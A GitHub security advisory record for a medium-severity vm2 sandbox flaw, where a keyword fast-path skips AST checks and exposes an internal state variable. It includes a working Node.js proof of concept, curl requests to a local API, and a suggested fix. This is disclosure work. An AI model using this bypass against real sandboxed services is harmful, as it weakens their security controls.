---
id: CVE-2026-44003
aliases:
  - GHSA-wp5r-2gw5-m7q7
title: vm2's Transformer Fast-Path Bypass Exposes Internal State Variable
summary: vm2's Transformer Fast-Path Bypass Exposes Internal State Variable
severity: medium
cvss: 5.3
cwe:
  - CWE-693
vendor: vm2
product: vm2
ecosystem: npm
affected:
  - vm2 <= 3.10.5
patched:
  - vm2 3.11.0
published: '2026-05-07'
updated: '2026-11-05'
sourceUpdated: '2026-11-05T22:09:25Z'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-wp5r-2gw5-m7q7'
references:
  - url: 'https://github.com/patriksimek/vm2/security/advisories/GHSA-wp5r-2gw5-m7q7'
  - url: 'https://github.com/patriksimek/vm2/releases/tag/v3.11.0'
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2026-44003'
  - url: >-
      https://github.com/patriksimek/vm2/commit/9f0484862b74be3584169db282236a47f418ddbb
  - url: 'https://github.com/advisories/GHSA-wp5r-2gw5-m7q7'
tags:
  - ghsa
  - npm
epss: 0.00248
epssPercentile: 0.16225
ingestedAt: '2026-11-05T22:38:31.306Z'
---

## Overview

### Summary
vm2's code transformer has a performance optimization that skips AST analysis when the code does not contain `catch`, `import`, or `async` keywords. This fast-path bypass allows sandboxed code to directly access the internal `VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL` variable, which exposes internal security functions (`handleException`, `wrapWith`, `import`).

### Details
In `lib/transformer.js:55-57`, a regex check `/\b(?:catch|import|async)\b/` determines whether AST transformation is needed. If the code does not contain any of these keywords, the transformer returns the code unmodified.

When the fast-path is taken:
1. **INTERNAL_STATE_NAME identifier check is bypassed**: The AST visitor that blocks access to `VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL` never runs
2. **`with` statement instrumentation is bypassed**: `with()` statements are not wrapped with `wrapWith()`, enabling scope manipulation
3. The internal state object exposes: `handleException(e)`, `wrapWith(x)`, `import(what)`

While these methods are currently defensive utilities (not direct escape vectors), this represents a complete bypass of a security control. Any future addition of a sensitive method to the internal state object would be immediately exploitable.

### PoC

**Library-level PoC (Node.js script — primary):**
```javascript
const { VM } = require("vm2");
const vm = new VM();

// Access internal state (bypassed — no catch/import/async keywords)
const result = vm.run(`
  var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL;
  Object.keys(x).join(",")
`);
console.log(result); // "wrapWith,handleException,import"

// Control test — blocked when catch keyword is present
try {
  vm.run(`
    try {
      var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL;
    } catch(e) { e.message }
  `);
} catch(e) {
  console.log(e.message); // "Use of internal vm2 state variable"
}
```

**HTTP demonstration:**
```bash
# Internal state access (bypassed)
curl -s -X POST http://localhost:3000/api/execute \
  -H "Content-Type: application/json" \
  -d '{"code":"var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL; Object.keys(x).join(\",\")"}'
# Result: "wrapWith,handleException,import"

# Control test — blocked when catch keyword is present
curl -s -X POST http://localhost:3000/api/execute \
  -H "Content-Type: application/json" \
  -d '{"code":"try { var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL; } catch(e) { e.message }"}'
# Result: {"errors":["Use of internal vm2 state variable"]}
```

**Suggested fix:**
```javascript
// transformer.js:55 — add 'with' keyword and INTERNAL_STATE_NAME check
if (!/\b(?:catch|import|async|with)\b/.test(code) && code.indexOf(INTERNAL_STATE_NAME) === -1) {
    return {__proto__: null, code, hasAsync: false};
}
```

### Impact
- **Security Control Bypass**: The INTERNAL_STATE_NAME access restriction is completely ineffective when the code avoids 3 specific keywords.
- **Defense-in-Depth Violation**: Internal security functions are exposed, creating a latent attack surface for future code changes.
- **Scope**: All applications using vm2. No special configuration required.

## Affected packages

- `vm2 <= 3.10.5`

## Remediation

Upgrade to a patched release:

- `vm2 3.11.0`
